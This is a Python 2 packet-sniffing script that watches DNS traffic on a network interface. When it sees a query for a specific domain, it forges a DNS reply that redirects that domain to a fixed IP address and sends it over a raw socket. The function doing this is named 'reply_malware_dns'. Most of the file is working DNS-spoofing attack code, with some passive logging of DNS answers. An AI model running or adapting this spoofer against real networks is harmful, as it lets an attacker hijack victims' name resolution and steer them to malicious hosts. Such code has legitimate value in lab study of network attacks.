#!/usr/bin/env python2

import pcap
import dpkt
import dnet
import sys
import string
import socket
import socket
import re
import time
import Queue
import threading
import signal

from threading import Thread
from pkt_decode import *


# global variable

# make each Queue for thread
queue_dns = Queue.Queue()



# SIGNAL
WORKING = True
LOCK = threading.Lock()
STOP = 0

class Signalled(Exception):
    pass

def sigBreak(signum, f):
    global STOP
    LOCK.acquire()
    STOP = 1
    LOCK.release()
    raise Signalled

def print_packet(pktlen, data, timestamp):
    if not data:
        return

    eth = dpkt.ethernet.Ethernet(data)
    # Check IP
    if eth.type == dpkt.ethernet.ETH_TYPE_IP:
        ip = eth.data
    else:
        return
    # Check UDP
    if ip.p == dpkt.ip.IP_PROTO_UDP:
        udp = ip.data
    else:
        return

    # Push to wanted Queue
    if udp.dport == 53 or udp.sport == 53:
        # Port based
        # DNS packet
        queue_dns.put(ip)
        return



class Packet_Parser(Thread):
    def run(self):
        print "Start Packet Parser.."
        p = pcap.pcapObject()
        dev = sys.argv[1]
        p.open_live(dev, 1600, 1, 100)
        
        while 1:
            LOCK.acquire()
            stop = STOP
            LOCK.release()
            if stop:
                print '%s' % sys.exc_type
                print 'shutting down'
                print '%d packets receive, %d packets dropped, %d packets dropped by interface' % p.stats()

                # send False to each queue for stop
                print "dns false"
                queue_dns.put(False)
                break

            p.dispatch(1, print_packet)                
        print "Finished Packet_Parser"

class Analyzer_DNS(Thread):
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue
        self.sock = dnet.ip()

    def run(self):
        print "Start DNS Analyzer"
        # DB must be inited in thread main

        # get first item 
        decoded = self.queue.get()
        # check exit signal
        if decoded == False: 
            print "exit signal in DNS"
            return

        while decoded:
            #decoded = self.queue.get()
            ip = decoded
            udp = ip.data
            dns = dpkt.dns.DNS(udp.data)
            if dns.qr == dpkt.dns.DNS_Q:
                # Query
                if dns.qd[0].name == "sunshout.tistory.com":
                    print dns.qd[0].name
                    self.reply_malware_dns(ip)
            else:
                self.analyze_answer(ip)

            decoded = self.queue.get()
            if decoded == False: 
                print "Break signal from Queue(DNS)"
                break
        print "Finished DNS thread"

    def reply_malware_dns(self, ip):
        # send spoofing packet for client
        # param: dns (request packet)
        dns = dpkt.dns.DNS(ip.data.data)
            # transform DNS Query into response
        dns.op = dpkt.dns.DNS_RA
        dns.rcode = dpkt.dns.DNS_RCODE_NOERR
        dns.qr = dpkt.dns.DNS_R
            # construct fake answer RR
        arr = dpkt.dns.DNS.RR()
        arr.cls = dpkt.dns.DNS_IN
        arr.name = 'sunshout.tistory.com'
        arr.ip = dnet.addr('59.27.92.27').ip
            
        dns.an.append(arr)
        
        udp = ip.data
        udp.sport, udp.dport = udp.dport, udp.sport
            # fix up IP and UDP layers
        ip.src, ip.dst = ip.dst, ip.src
        udp.data = dns
        udp.ulen = len(udp)
        ip.len = len(ip)

        # send out spoofed response
        buf = dnet.ip_checksum(str(ip))
        self.sock.send(buf)

    def analyze_answer(self, ip):
        # parse DNS answer packet
        msg = dpkt.dns.DNS(ip.data.data)

        if msg.qr == dpkt.dns.DNS_A and msg.rcode == dpkt.dns.DNS_RCODE_NOERR and len(msg.an)>0:
            queried = ""
            if msg.qd[0].type == dpkt.dns.DNS_A:
                queried = queried + "%s (A)" % (msg.qd[0].name)
            if msg.qd[0].type == dpkt.dns.DNS_NS:
                queried = queried + "%s (NS)" % (msg.qd[0].name)
            if msg.qd[0].type == dpkt.dns.DNS_CNAME:
                queried = queried + "%s (CNAME)" % (msg.qd[0].name)
            if msg.qd[0].type == dpkt.dns.DNS_SOA:
                queried = queried + "%s (SOA)" % (msg.qd[0].name)
            if msg.qd[0].type == dpkt.dns.DNS_PTR:
                queried = queried + "%s (PTR)" % (msg.qd[0].name)
            if msg.qd[0].type == dpkt.dns.DNS_HINFO:
                queried = queried + "%s (HINFO)" % (msg.qd[0].name)
            if msg.qd[0].type == dpkt.dns.DNS_MX:
                queried = queried + "%s (MX)" % (msg.qd[0].name)
            if msg.qd[0].type == dpkt.dns.DNS_TXT: 
                queried = queried + "%s (TXT)" % (msg.qd[0].name)
            if msg.qd[0].type == dpkt.dns.DNS_AAAA:            
                queried = queried + "%s (AAAA)" % (msg.qd[0].name)
            if msg.qd[0].type == dpkt.dns.DNS_SRV:
                queried = queried + "%s (SRV)" % (msg.qd[0].name)     

            answers = []
            for an in msg.an:
                if an.type == dpkt.dns.DNS_A:
                    answers.append(socket.inet_ntoa(an.ip))
                elif an.type == dpkt.dns.DNS_PTR:
                    answers.append(an.ptrname)
                elif an.type == dpkt.dns.DNS_NS:
                    answers.append(an.nsname)
                elif an.type == dpkt.dns.DNS_CNAME:
                    answers.append(an.cname)
                elif an.type == dpkt.dns.DNS_SOA:
                    answers.append(an.mname)
                    answers.append(an.rname)
                    answers.append(str(an.serial))
                    answers.append(str(an.refresh))
                    answers.append(str(an.retry))
                    answers.append(str(an.expire))
                    answers.append(str(an.minimum)) 
                elif an.type == dpkt.dns.DNS_HINFO:
                    answers.append(" ".join(an.text))
                elif an.type == dpkt.dns.DNS_MX:
                    answers.append(an.mxname)
                elif an.type == dpkt.dns.DNS_TXT:
                    answers.append(" ".join(an.text)) 
                elif an.type == dpkt.dns.DNS_AAAA:
                    answers.append(inet_ntop(AF_INET6,an.ip6))
                elif an.type == dpkt.dns.DNS_SRV:
                    # do something with SRV
                    pass
                else:
                    # un-handled type
                    answers.append("[Honeysnap: Undecoded response]")
                    continue 

                print "%s -> %s" % (queried, ",".join(answers))

def startAnalyzer():
    #print blackList
    thr_dns = Analyzer_DNS(queue_dns)
    thr_par = Packet_Parser()
    thr_dns.start()
    thr_par.start()
    try:
        signal.pause()
    except Signalled:
        print "* Singalled"

    print "queue join"

    print "finish queue join"
    thr_par.join()
    thr_dns.join()


if __name__ == "__main__":
    if len(sys.argv) == 3:
        print 'usage: sniff.py <interface>'
        sys.exit(0)
    
    if sys.argv[1] == "init":
        initDB()
    else:
        signal.signal(signal.SIGINT, sigBreak)
        # packet capture & analyze
        startAnalyzer()
